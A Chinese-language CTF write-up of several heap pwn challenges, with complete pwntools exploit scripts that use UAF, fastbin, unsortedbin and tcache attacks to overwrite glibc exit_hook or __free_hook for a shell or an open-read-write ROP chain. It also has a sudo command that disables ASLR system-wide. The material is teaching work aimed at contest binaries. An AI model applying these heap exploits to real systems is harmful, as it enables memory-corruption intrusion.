放假一直在划水,最近几次比赛题目都挺常规的,借此把堆栈题解题技巧复习一遍

长城杯

K1ng_in_h3Ap_I

给了低位3字节,有UAF和off by null,尝试不泄露完整libc直接改hook

只用uaf就够了

malloc_hook和free_hook上都没有地址,exit_hook上有libc地址

那就尝试fastbin打exit_hook为og

但是fastbin attack会检查chunk size

看了下exit_hook前面都没有可用的数据,只能用unsortedbin attack写一个大数字(main_arena地址)作为fake chunk size

改好后让程序执行到exit(0)就可以触发og

image-20210926152513300

1
2
3
4
5
6
7
8
9
pwndbg> p &_rtld_global._dl_rtld_lock_recursive
$4 = (void (**)(void *)) 0x7f83ffbf7f48 <_rtld_global+3848>

pwndbg> x/10a 0x7f83ffbf7f48
0x7f83ffbf7f48 <_rtld_global+3848>: 0x7f83ff9d1c90 <rtld_lock_default_lock_recursive> 0x7f83ff9d1ca0 <rtld_lock_default_unlock_recursive>
0x7f83ffbf7f58 <_rtld_global+3864>: 0x7f83ff9e50e0 <__GI__dl_make_stack_executable> 0x6
0x7f83ffbf7f68 <_rtld_global+3880>: 0x1 0x7f83ffbf5928
0x7f83ffbf7f78 <_rtld_global+3896>: 0x1 0x1000
0x7f83ffbf7f88 <_rtld_global+3912>: 0x78 0x40

之前想着怎么把fd上有unsortedbin地址的chunk放入fastbin,还用off by null整了个堆合并(我真是好喜欢堆合并

结果释放到fastbin后大小不匹配了

直接从unsorted chunk切割一块大小匹配的chunk,直接UAF改fast chunk的fd地址末位,链入fastbin就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

flag=0
if flag:
sh = remote('119.3.81.43', 49153)
else:
sh = process("./pwn")

libc=ELF('/home/wendy/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6',checksec=False)
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def menu(choice):
sla(">>",str(choice))
def add(index,size):
menu(1)
sla('index:',str(index)) #0-10
sla('input size:',str(size)) # <=0xf0
def edit(index,content):
menu(3)
sla('input index:',str(index))
sa('input context:',content)
def dele(index):
menu(2)
sla('input index:',str(index))
def gift():
menu(666)

gift()
sh.recvuntil('0x')
exit_hook = int(sh.recvuntil('\n',drop=True),16) + 0x59b738 #exit_hook

add(0,0x88)
add(1,0x68)
add(2,0x60)
add(3,0x88)

add(4,0x90)
add(5,0x90)

dele(0)
add(5,0x60) # trim from unsortedbin

# link chunk5 to tcache
dele(1)
dele(2)
edit(2,'\x00'+'\n')


# #unsortedbin attack write a big num to be fake chunk size
add(6,0x80) #clear unsortedbin
dele(4)
target=exit_hook-0x30
edit(4,p64(0)+p8(target&0xff)+p8((target&0xffff) >> 8)+p8((target&0xffffff) >> 16)+'\n')
add(7,0x90)

# tcache attack
target=exit_hook-0x23
edit(5,p8(target&0xff)+p8((target&0xffff) >> 8)+p8((target&0xffffff) >> 16)+'\n')
add(8,0x60)
add(8,0x60)
add(8,0x60)
leak('exit_hook',exit_hook)
one=[0x45226,0x4527a,0xf03a4,0xf1247]
# system = exit_hook - 0x5abba8
# leak('system',system)
leak('one',one[3])
target=exit_hook - 0x4ffd01
edit(8,'\x00'*0x13+p8(target&0xff)+p8((target&0xffff) >> 8)+p8((target&0xffffff) >> 16)+'\n')

menu(1)
sla('index:',str(11)) #0-10
# gdb.attach(sh)
ti()

K1ng_in_h3Ap_II

uaf任意地址写

srop+orw_rop

有size限制我就把write改成了puts,调试时看到flag内容是已经被读入内存了,但是最后好像把地址输出出来了,应该是puts的参数有点问题,明天再看看吧,好饿啊想去吃饭了

我回来了,又看了一下,puts参数是没问题的,之前图省事儿把“flag\x00”字符串的存放地址和flag文件内容的存放地址用了同一个,分开存放就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# -*- coding: UTF-8 -*-
from pwn import *
import sys
# context.log_level='debug'
context.arch='amd64'

flag=0
if flag:
sh = remote('119.3.81.43', 49153)
else:
sh = process("./pwn")

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def menu(choice):
sla(">>",str(choice))
def add(index,size):
menu(1)
sla('index:',str(index)) #0-15
sla('input size:',str(size)) # <=0x60
def edit(index,content):
menu(3)
sla('input index:',str(index))
sa('input context:',content)
def dele(index):
menu(2)
sla('input index:',str(index))
def show(index):
menu(4)
sla('input index:',str(index))

add(0,0x50)
add(1,0x50)

add(4,0x30)
add(5,0x30)
# add(6,0x30)

dele(0)
dele(1)
show(1)
tcache_head = u64(ru('\x55')[-6:].ljust(8,'\x00')) - 0xf30
leak('tcache_head',tcache_head)

sla(">>",'1'*0x420)
target=tcache_head+0x750
leak('target',target)

edit(1,p64(target+0x10)+'\n')
add(2,0x50)
add(3,0x50)
show(3)
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00')) -0x3ebcb0
leak('libc_base',libc_base)
__free_hook = libc_base+libc.sym['__free_hook']
setcontext_35=libc_base+libc.sym['setcontext'] + 0x35
# mov rsp, [rdi+0A0h]
# ......
# mov rcx, [rdi+0A8h]
# push rcx
# ......
# retn

dele(4)
dele(5)
edit(5,p64(__free_hook)+'\n')
add(6,0x30)
add(7,0x30)
# edit(7,p64(setcontext_35)+'\n')

#=====================================================write orw_rop
add(8,0x60)
add(9,0x30)
add(10,0x30)
# add(0,0x10)
# edit(0,'clag'.ljust(8,'\x00'))
# flag_addr= tcache_head +0x870

pop_rdi=libc_base+0x00000000000215bf
pop_rsi=libc_base+0x0000000000023eea
pop_rdx=libc_base+0x0000000000001b96
flag_addr=tcache_head+0x780 # orw 1
orw_addr = tcache_head+0x780
orw_rop='flag'.ljust(0x10,'\x00')
orw_rop += p64(pop_rdi) + p64(flag_addr)
orw_rop += p64(pop_rsi) + p64(0)
orw_rop += p64(libc_base+libc.sym['open'])
orw_rop += p64(pop_rdi) + p64(3)
orw_rop += p64(pop_rsi) + p64(tcache_head+0x440)
orw_rop += p64(pop_rdx) + p64(0x50)

orw_rop += p64(libc_base+libc.sym['read'])
orw_rop += p64(pop_rdi) + p64(tcache_head+0x440)
orw_rop += p64(libc_base+libc.sym['puts'])
print len(orw_rop)
edit(8,orw_rop[:0x60])
orw_last = tcache_head+0x7e0

dele(9)
dele(10)
edit(10,p64(orw_last)+'\n')
add(9,0x30)
add(9,0x30)
edit(9,orw_rop[0x60:])
#===============================================================

#==================================set rdi

add(0,0x40)#clear
add(0,0x40)#rdi
edit(0,'\x00'*0x40)
add(1,0x40)#rdi+0x50
edit(1,'\x00'*0x40)
add(1,0x40)#rdi+0xa0
edit(1,'\x00'*0x40)

chunk1=tcache_head + 0x1190
edit(0,p64(chunk1)+'\n')
retn=libc_base+0x00000000000008aa
edit(1,p64(orw_addr+0x10)+p64(retn)+'\n')

# =================================__free_hook to gadget
edit(7,p64(setcontext_35)+'\n')

# ==================================triger
leak('setcontext_35',setcontext_35)
leak('orw_addr',orw_addr)

# pause()
dele(0)
# gdb.attach(sh)
ti()

长安杯

baigei

add处的size是有符号int,可以输入-1存入sz_list,在edit处比较被强转为无符号数,从而任意字节溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'

flag=0
if flag:
sh = remote('node4.buuoj.cn', 25603)
else:
sh = process("./main")

# libc=ELF('libc.so.6')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
elf=ELF('./main')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))

def cmd(cmd):
sla('>>',str(cmd))
def add(idx,size,content):
cmd(1)
sla('idx?',str(idx)) #<=15
sla('size?',str(size)) #<=0x400
sa('content?',content)
def edit(idx,size,content):
cmd(3)
sla('idx?',str(idx))
sla('size?',str(size))
sa('content?',content)
def show(idx):
cmd(4)
sla('idx?',str(idx))
def dele(idx):
cmd(2)
sla('idx?',str(idx))

for i in range(9): #0-8
add(i,0x100,'a\n')
add(9,0x10,'a\n')
add(10,0x10,'a\n')
add(11,0x10,'a\n')
for i in range(8):
dele(i)
add(0,0x40,'\n')
show(0)
libc.address = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 0x3ebd0a
leak('libc.address',libc.address)

dele(11)
dele(10)
cmd(1)
sla('idx?',str(9)) #<=15
sla('size?',str(-1)) #<=0x400
edit(9,0x300,p64(0)*3+p64(0x21)+p64(libc.sym['__free_hook'])+'\n')

add(10,0x10,'/bin/sh\x00\n')
add(11,0x10,p64(libc.sym['system'])+'\n')

dele(10)
# gdb.attach(sh)
ti()

天翼杯

overheap

1
2
3
4
$./libc.so.6 
GNU C Library (Ubuntu GLIBC 2.34-0ubuntu1) stable release version 2.34.

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

为了对齐要爆破一位